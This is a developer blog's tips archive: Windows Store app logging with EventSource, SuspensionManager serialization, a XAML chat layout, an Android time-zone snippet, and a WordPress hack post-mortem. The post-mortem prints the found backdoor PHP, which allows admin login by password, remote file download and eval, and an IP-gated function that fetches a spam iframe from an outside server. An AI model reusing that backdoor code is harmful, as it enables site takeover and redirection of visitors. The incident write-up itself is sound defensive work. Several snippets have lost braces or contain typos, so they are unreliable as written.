Category Archives: Tips

Not so Stupid Simple Logging for Windows Store Apps in C#/VB

The last time that I had to worry about logging was within Azure. My cloud solution was simple, and thus my logging solution was simple. Lately, the application I’ve been building for Windows 8.1 is not simple. It’s one of the most complex apps I’ve built to date.

It’s no secret that log4net won’t work in a Windows Store app, but that’s OK. There’s a different way to think about logging, and that’s with Event Tracing for Windows (here’s a complex, but good MSDN article). ETW logging is an obvious choice when developing on Windows as it guarantees:

  • Extremely fast performance (~16us per log event)
  • Application will not change behavior when logging is ON vs. OFF

The latter is very important. Imagine that you’re tracking down a race condition and you’re using a custom logging solution. You turn on logging, and it no longer reproduces! How could this happen? Your logging solution might cause the processor to schedule work differently when it’s ON vs. OFF.

First, if you’re looking for simple…

If you’re looking for a simple logging solution for Windows Store apps (regardless of language), look no further than Windows.Foundation.Diagnostics (new in Windows 8.1). Don’t be let astray by the first Google hit for “windows store” logging. While that solution uses the same methods I’ll expand on in this post, it will introduce more complexity that you’re looking for. It was also written before Windows.Foundation.Diagnostics became available in Windows 8.1.

The Windows.Foundation.Diagnostics namespace contains LoggingChannel and LoggingSession, which will likely fulfill your simple logging needs. Use LoggingChannel’s LogMessage(string) and LogValuePair(string, int) for simple string logging. There’s a wonderful Channel9 video on how to setup LoggingChannels with LoggingSessions.

If you’re OK with simple string logging and logs being saved to .ETL files, Windows.Foundation.Diagnostics is probably perfect for you.

But what if…?

I recently discovered that there’s more to life than simple string logging. That’s the “event” portion of ETW. I was raised to think of logging that looks like this:

Log.Verbose("Application starting");

In ETW-speak, this lets you log a Verbose event with a string parameter. Very powerful because that string can be anything. However, consider this:


In a nutshell, that’s what ETW means by “event”. Both of the above log statement have the same purpose. They want to log that the application has started. The second statement is scale-able. The first one is not.

By scale-able, I mean that down the road, you might want to log more than just “Application starting” on boot. Maybe you want to know what platform and version of the code is starting. You could go change to:

Log.Verbose(string.Format("Application starting on {0} with version {1}", App.Platform.ToString(), App.Version.ToString()));

And that would be fine, except if you had multiple places in your app where you needed to log this event (OK, maybe app start is a bad example since you’ll probably only call it from one place, but you can imagine). Then you’d be copy & pasting log lines and that goes against the gospel of computer science.

So, you should centralize your events! That way, your event can really be as descriptive as you’d like. If it needs contextual data, you can just pass in the raw object instead of having to format it at the logging location.

Enter EventSource

.NET 4.5.1’s System.Diagnostics.Tracing namespace provides EventSource. It’s the simplest way to create ETW events in .NET. Check out the second example on the MSDN page for how to write it.

EventSource isn’t perfect though. You can only pass simple types like string and int to event methods. It cannot implement any interfaces. You’re probably going to want to wrap EventSource in another class like so:

public class LifecycleEventSourceWrapper
    public LifecycleEventSource EventSource {get; private set;}

    public LifecycleEventSourceWrapper()
        EventSource = new LifecycleEventSource();

    public void ApplicationStarting()
        // Get app version
        var v = Package.Current.Id.Version;
        string version = string.Format("{0}.{1}.{2}.{3}", v.Major, v.Minor, v.Build, v.Revision);

        string platform = // get the platform

        EventSource.ApplicationStarting(version, platform);

public class LifecycleEventSource : EventSource
    [Event(1, Message = "App starting on {0} with version {1}")]
    public void ApplicationStarting(string version, string platform)
        if (this.IsEnabled()) this.WriteEvent(1, version, platform);

Notice that I created LifecycleEventSource, and not just MyAppEventSource, implying that LifecycleEventSource should only be use for logging events related to application lifecycle. This is a powerful pattern because you can later filter your logs much more easily.

Check out MSDN for all the other awesome things that EventSource can do (like keywords and opcodes). You may not need them now, but they’re available for later use.

Cool, you’ve sold me on EventSource. So I’m done?

Not quite. Nobody is listening for these events. If you want to use another program like Windows Performance Analyzer to listen, then you actually are done, but you probably wanted to write to a file.

Assuming you want to do this all in one process, this is where the EventListener is used. There don’t appear to be any awesome examples that you can just drop in, so here’s an extremely basic one that keeps an in-memory cache of log lines, then writes them to a text file in your local storage folder every 5 seconds:

public class FileEventListener : EventListener
    private object syncObj = new object();
    private List<string> logLines;
    private StorageFile logFile;
    private ThreadPoolTimer periodicTimer;

    public FileEventListener()
        logLines = new List<string>();

    // Should be called right after the constructor (since constructors can't have async calls)
    public async Task InitializeAsync()
        logFile = await ApplicationData.Current.LocalFolder.CreateFileAsync("logs.txt", CreationCollisionOption.OpenIfExists);

        // We don't want to write to disk every single time a log event occurs, so let's schedule a
        // thread pool task
        periodicTimer = ThreadPoolTimer.CreatePeriodicTimer((source) =>
                // We have to lock when writing to disk as well, otherwise the in memory cache could change
                // or we might try to write lines to disk more than once
                lock (syncObj)
                    if (logLines.Count > 0)
                        // Write synchronously here. We'll never be called on a UI thread and you
                        // cannot make an async call within a lock statement
                        FileIO.WriteLinesAysnc(logFile, logLines).AsTask().Wait();
                        logLines = new List<string>();
            }, TimeSpan.FromSeconds(5));

    protected override void OnEventWritten(EventWrittenEventArgs eventData)
        // This could be called from any thread, and we want our logs in order, so lock here
        lock (syncObj)
            string payload = string.Format(eventData.Message, eventData.Payload.ToArray());
            logLines.Add(string.Format("{0}\t{1}", DateTime.Now.ToString(), payload));

You’ll need to hook EventSource to EventListener of course. I generally do this in the constructor of a class that exposes all of my EventSources.

Now what?

Now that you’ve got logs in a file form, you could ask users to send them to you when they report a bug, or you could upload them to cloud storage for the user (but be sure to discuss this in the privacy policy!).

4 Things to know about SuspensionManager

The default Visual C# app templates created by VS in Windows 8.1 make use of the SuspensionManager helper class (in the Common folder) to handle how your app can save it’s state when Windows puts it in the Suspended state. As you might expect, it serializes your data to disk, then deserializes it back for you when your app Resumes. How? DataContractSerializer. It’s a good way. Here’s what you need to know:

  1. DataContractSerializer (and thus SuspensionManager) needs to know about any custom types before it can work with your objects. Tell it in your App() constructor via:
  2. Types serialized by DataContractSerializer must be decorated with the DataContractAttribute.
    public CarViewModel { ... }
  3. Member fields/properties of these types must be decorated with the DataMemberAttribute. By default, none of your objects members are serialized, you must use the attribute to include them. The cool thing is, you can apply it to a private member.
  4. When deserializing, the default constructor of your object will not be called. Weird, seemingly illegal, but it makes sense — say your object contains a state machine, and the default constructor sets the state machine to position 0. If you serialize your object with the state machine at position 3, you want it to deserialize in the same position.

If your types can deal with the constructor not being called, easy-as-pie, you are done! But, what if you need to run initialization logic on deserialization? For example, my CarViewModel has a private Car field. All of my public properties are simply meta-data based off of the Car. It’s more convenient for me to simply serialize only the Car, then re-initialize my meta-data once the Car is returned to me in deserialization.

Have no fear, just use the OnDeserializedAttribute above a method, like so:

internal void Initialize(StreamingContext context)
    // is already in place, we've been deserialized

Need more access? No problem, you’ve got an attribute for before serialization, after serialization, before deserialization, and after deserialization. You can find them all under the System.Runtime.Serialization namespace.

XAML ListView that Stacks Items from the Bottom (for Messaging)

If you’re building a chat application UI using XAML and targeting a device with a touchscreen, there’s an issue you’ll likely run into; if the software keyboard is up, it scrolls some of your messages out of view. If there’s only 1 or 2 messages in the whole conversation, you’ll end up with them getting scrolled out of view by default.



So how can we fix this? Searching didn’t really give me an answer. In Android, all you have to do is set the “stackFromBottom” attribute to true. The answer in XAML is to put the ListView in a Grid’s Row with the Height=”*” and the ListView’s VerticalAlignment attribute to “Bottom”.



My apologies to anybody who got redirected to some spammy site after visiting here. I didn’t discover that I’d been hacked until last week, and it took a while to track down. Anyway, I thought I’d write a bit about how they did it and what to watch out for.


I used to have open comments and trackbacks on all my pages. Trackbacks were the first thing to go. I’d get a ton of spam links from it, so I disabled them. After that, I started seeing spam comments. I really didn’t want to disable them, so I put a CAPTCHA plugin to try and stop them. This worked for a bit until they cracked the CAPTCHA. Right before I noticed I’d been hacked, there was a large influx of gibberish comments, so I finally disabled comments, not wanting to find a better CAPTCHA (I was using SI CAPTCHA Anti-Spam).

Things started to go south when I noticed that I was randomly getting redirected to spam websites after trying to visit my homepage. The worst part was that I couldn’t find anything in the source when it hit CTRL+U in Chrome. It didn’t happen again when I refreshed. I was perplexed.


I started hunting through my public-html folder for things changed. My first lucky break was noticing that wp-config.php had different permissions than everything else: 444, or read only access for everyone. I changed back the permissions and went looking. The malicious code was located in the center of about 1,000 lines of white space after the normal WordPress code. This was easy to find by just scrolling through. It looks like this: (formatted for readability)

if (isset($_GET['pingnow'])&& isset($_GET['pass'])) {
	if ($_GET['pass'] == '2838023a778dfaecdc212708f721b788') {
		if ($_GET['pingnow']== 'login') {
			$user_login = 'admin';
			$user = get_userdatabylogin($user_login);
			$user_id = $user->ID;
			wp_set_current_user($user_id, $user_login);
			do_action('wp_login', $user_login);
		if (($_GET['pingnow']== 'exec')&&(isset($_GET['file']))) {
			$ch = curl_init($_GET['file']);
			$fnm = md5(rand(0,100)).'.php';
			$fp = fopen($fnm, "w");
			curl_setopt($ch, CURLOPT_FILE, $fp);
			curl_setopt($ch, CURLOPT_HEADER, 0);
			curl_setopt($ch, CURLOPT_TIMEOUT, 5);
			echo "<SCRIPT LANGUAGE=\"JavaScript\">location.href='$fnm';</SCRIPT>";
		if (($_GET['pingnow']== 'eval')&&(isset($_GET['file']))) {
			$ch = curl_init($_GET['file']);
			curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
			curl_setopt($ch, CURLOPT_HEADER, 0);
			curl_setopt($ch, CURLOPT_TIMEOUT, 5);
			$re = curl_exec($ch);

That all looks pretty foreign to me, not being too much of a PHP buff. I saw username: admin and password: 51 (the seem to have given the md5 sum). It calls WordPress’s do-action function on ‘wp_login’. That looked bad.

It also looks like it tried to create a file with an md5 sum as its name. I didn’t see too much else from this code that I could understand, so I took it to the Google.

Apparently this is a fairly common snippet. The general conclusion is that it is associated with the presence of TomThumb.php or TimThumb.php in one of my themes or plugins. After much grep-ing, I found that my homepage slideshow, iSlidex, had the file. I disabled and deleted the plugin. This was likely my own damn fault. I was stylizing iSlidex by editing its CSS directly instead of overriding in my child theme. As a result, I lost my changes whenever I updated it. Also as a result, I stopped updating it. I’m sure they fixed the TomThumb vulnerability, but I was too naive to update.

After deleting the malicious code from wp-config.php and checking various other places the forums suggested, I thought I was home free. I took a drive back home from college and eventually ended up visiting the site from there. Much to my dismay, it happened again. However, this time I was quick to act. I stopped it before it had the chance to redirect. CTRL+U still showed nothing, but Chrome’s Developer Tools came to the rescue. They revealed an iframe between my #body and #wrapper divs. I had to take a screenshot because I couldn’t figure out any other way to save it!

Furious, I turned once again to grep. I searched for every term in that snippet. It was all fruitless. My friend John Kurlak (PHP guru) was even helping, but couldn’t trace it. After about an hour of frustration, I had an idea.

An explanation for the results being so hard to repeat could be an IP check. This explanation fit fairly well with the symptoms we were seeing, so we decided to give it a shot. John was nice enough to tell me the PHP keyword to search for (REMOTE_ADDR). Bingo! I found malicious code tabbed over 1,000 characters in wp-settings.php. I missed it when I was skimming through.

function counter_wordpress() {
	$ua = urlencode(strtolower($_SERVER['HTTP_USER_AGENT']));
	$host = $_SERVER['HTTP_HOST'];
	$uri = urlencode($_SERVER['REQUEST_URI']);
	$ref = urlencode($_SERVER['HTTP_REFERER']);
	$url = $url.'?ip='.$ip.'&host='.$host.'&uri='.$uri.'&ua='.$ua.'&ref='.$ref;
	$ch = curl_init($url);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
	curl_setopt($ch, CURLOPT_HEADER, 0);
	curl_setopt($ch, CURLOPT_TIMEOUT, 2);
	$re = curl_exec($ch);curl_close($ch);
	echo $re;
add_action('wp_head', 'counter_wordpress');


After grabbing the above code and deleting it, the problem was fixed. The code was very sneaky. It uses curl to get the iframe snippet from another server, rendering my grep searches useless. The IP check made it hard to test and might fool others into thinking that it’s not enough of an issue to bother with. This was very sneaky code.

I’m still not sure if the spam comments are related. They might just have a bot sniffing WordPress sites for TomThumb.php, or maybe they have a different attack method. If you know, I’d like to hear! Use the contact form or maybe I’ll get the nerve to turn comments back on.

OneSeven: How to get the time zone

click to enlarge

Over the weekend I got bored with my homescreen. I tried several widgets like BattStatt, Tajm, dClock, and TypoClock, but they all took up at least 2 rows of my homescreen, or I didn’t need the information. I loved dClock’s week display since the actual day isn’t obviously visible on Android anywhere but the lock screen. So I went ahead and made my own simple week widget over the weekend.

Obviously, the week widget needs to display the correct day to the user, which can vary depending on time zone. It should also know when midnight/the start of the new day is, so that it may change. I’ll share with you how to get the current time relevant to the user.

 * The private getDay method gets the current time zone and then returns
 * the integer day of the week for this time zone.
 * @return		The day of the week (see Calendar.SUNDAY)
private int getDay() {
	 TimeZone t = TimeZone.getDefault(); //gets the phone's curr timezone
	 // create a our current time zone
	 SimpleTimeZone pdt = new SimpleTimeZone(t.getRawOffset(), t.getID());
	 // set up rules for daylight savings time for 2010, US
	 pdt.setStartRule(Calendar.MARCH, 14, 2 * 60 * 60 * 1000);
	 pdt.setEndRule(Calendar.NOVEMBER, 7, 2 * 60 * 60 * 1000);
	 // create a GregorianCalendar with the Pacific Daylight time zone
	 // and the current date and time
	 calendar = new GregorianCalendar(pdt);
	 Date trialTime = new Date();
	return calendar.get(Calendar.DAY_OF_WEEK);

This method returns the current day of the week depending on the user’s timezone. The Daylight Savings is adjusted to this year’s US date’s, but you could easily add clauses to change it for other countries.

Now that you have the day, you can easily calculate where midnight will be (either by raw calculation or just create a new calendar and bump it forward to the desired date/time). I used AlarmManager to set a repeating alarm every day.

OneSeven is available in free and pro versions. Please click here to view the features of each.